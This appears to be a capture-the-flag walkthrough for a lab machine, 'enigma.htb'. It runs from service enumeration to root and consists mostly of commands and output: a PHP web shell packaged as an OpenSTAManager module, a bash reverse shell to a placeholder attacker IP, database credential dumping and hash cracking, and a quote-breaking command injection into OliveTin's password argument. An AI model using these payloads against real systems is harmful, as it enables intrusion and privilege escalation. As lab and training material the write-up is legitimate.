Enumeration
nmap -sC -sV -p- --open -Pn 10.129.x.x
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
993/tcp open imaps Dovecot imapd
995/tcp open pop3s Dovecot pop3d
2049/tcp open nfs 3-4 (RPC #100003)
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://10.129.x.x -H "Host: FUZZ.enigma.htb" -fc 301
support_001 [Status: 200]
mail001 [Status: 200]
echo "10.129.x.x enigma.htb support_001.enigma.htb mail001.enigma.htb" >> /etc/hosts
support_001.enigma.htb→ OpenSTAManager 2.9.8mail001.enigma.htb→ Roundcube Webmail
showmount -e 10.129.x.x
/srv/nfs/onboarding *
mkdir /mnt/enigma
mount -t nfs 10.129.x.x:/srv/nfs/onboarding /mnt/enigma -o nolock
ls /mnt/enigma
New_Employee_Access.pdf
The onboarding PDF leaks three employee usernames: kevin, sarah, and haris.
Foothold
curl -s "imap://10.129.x.x/" --user "kevin:<REDACTED>" --list-only
* LIST (\HasNoChildren) "." "INBOX"
Kevin’s inbox contains an email with OSM admin credentials. Log into support_001.enigma.htb to access the ERP dashboard.
OpenSTAManager’s update module (id_module=6, op=upload) extracts uploaded ZIPs into the web root with no content validation. Build a malicious module ZIP:
mkdir myshell
cat > myshell/MODULE << 'EOF'
name=myshell
title=myshell
directory=myshell
version=1.0
compatibility=*
icon=fa-terminal
options=
parent=
EOF
cat > myshell/shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
zip -r myshell.zip myshell/
Navigate to Strumenti → Aggiornamenti → Upload modulo, upload myshell.zip, and confirm execution:
curl "http://support_001.enigma.htb/modules/myshell/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
nc -lvnp 4444
curl "http://support_001.enigma.htb/modules/myshell/shell.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
Privilege Escalation
www-data → haris
grep -E 'user|pass|dbname' /var/www/html/openstamanager/config.inc.php
$db_username = 'brollin';
$db_password = '<REDACTED>';
mysql -ubrollin -p'<REDACTED>' openstamanager -e "SELECT username,password FROM zz_users;"
admin $2y$10$rTJVUNy**********************************
haris $2y$10$WHf1T79**********************************
echo '$2y$10$WHf1T79**********************************' > haris.hash
hashcat -m 3200 haris.hash /usr/share/wordlists/rockyou.txt
$2y$10$WHf1T79**********************************:<REDACTED>
echo "<REDACTED>" | su -s /bin/bash haris -c "cat ~/user.txt"
c9b0d8b**************************
haris → root
ss -tlnp
LISTEN 0 127.0.0.1:1337
Port 1337 is OliveTin running as root. An iptables rule blocks www-data (uid=33) from reaching port 1337 but allows haris (uid=1000).
cat /etc/OliveTin/config.yaml
- title: Backup Database
id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
The db_pass argument uses type password, which accepts any character including ' and ;. Injecting a single quote breaks the shell quoting context:
import urllib.request, json
payload = {
"actionId": "backup_database",
"arguments": [
{"name": "db_user", "value": "backup_svc"},
{"name": "db_pass", "value": "x' ; cp /root/root.txt /tmp/flag.txt; chmod 777 /tmp/flag.txt; echo '"},
{"name": "db_name", "value": "test"}
]
}
data = json.dumps(payload).encode()
req = urllib.request.Request(
"http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinAPI/StartActionAndWait",
data=data,
headers={"Content-Type": "application/json", "Connect-Protocol-Version": "1"}
)
urllib.request.urlopen(req)
cat /tmp/flag.txt
f310b030************************
// Discussion